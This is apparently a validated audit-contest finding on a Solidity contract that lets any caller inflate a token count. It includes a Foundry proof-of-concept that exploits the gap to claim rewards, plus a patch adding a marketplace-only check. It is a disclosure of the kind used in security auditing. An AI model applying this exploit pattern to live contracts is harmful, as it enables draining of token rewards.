Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Missing check for caller is MartenitsaMarketplace in `updateCountMartenitsaTokensOwner` function in `MartenitsaToken.sol` contract

Summary

  • Missing check for caller is MartenitsaMarketplace in updateCountMartenitsaTokensOwner function in MartenitsaToken.sol contract

Vulnerability Details

  • The updateCountMartenitsaTokensOwner function can be called by anyone which allows an attacker to increase the count of Martenitsa tokens owned by an address. This can be used to exploit the collectReward function in the MartenitsaMarketplace.sol contract to collect more health tokens as he wants.

function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
@>
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}

POC

  • put this test in MartenitsaToken.t.sol

function testUpdateCountMartenitsaTokensOwner() public {
address unKnownUser = makeAddr("unknown");
vm.prank(unKnownUser);
// This function is only called by market place contract
martenitsaToken.updateCountMartenitsaTokensOwner(unKnownUser, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(unKnownUser, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(unKnownUser, "add");
assert(martenitsaToken.getCountMartenitsaTokensOwner(unKnownUser) == 3);
// An unknown can collect as many health Token as he wants
vm.startPrank(unKnownUser);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(unKnownUser) == 1 * 1e18);
}
  • Run this test case using the following command

forge test --mt testUpdateCountMartenitsaTokensOwner -vvvv

Impact

  • Someone can call the updateCountMartenitsaTokensOwner function in the MartenitsaToken.sol contract to increase the count of Martenitsa tokens owned by an address

  • This can be used to exploit the collectReward function in the MartenitsaMarketplace.sol contract to collect more health tokens as he wants

  • attacker can collect as many health Token as he wants

Tools Used

  • Manual review

Recommendations

  • Update the updateCountMartenitsaTokensOwner function in MartenitsaToken.sol contract to include a require that checks if the caller is the marketplace contract.

+ import {MartenitsaMarketplace} from "./MartenitsaMarketplace.sol";
+ MartenitsaMarketplace private _martenitsaMarketplace;
+ function setMartenitsaMarketplace(address marketplace) external onlyOwner {
+ _martenitsaMarketplace = MartenitsaMarketplace(marketplace);
+ }
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ require(msg.sender == address(_martenitsaMarketplace), "Only the marketplace can call this function");
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.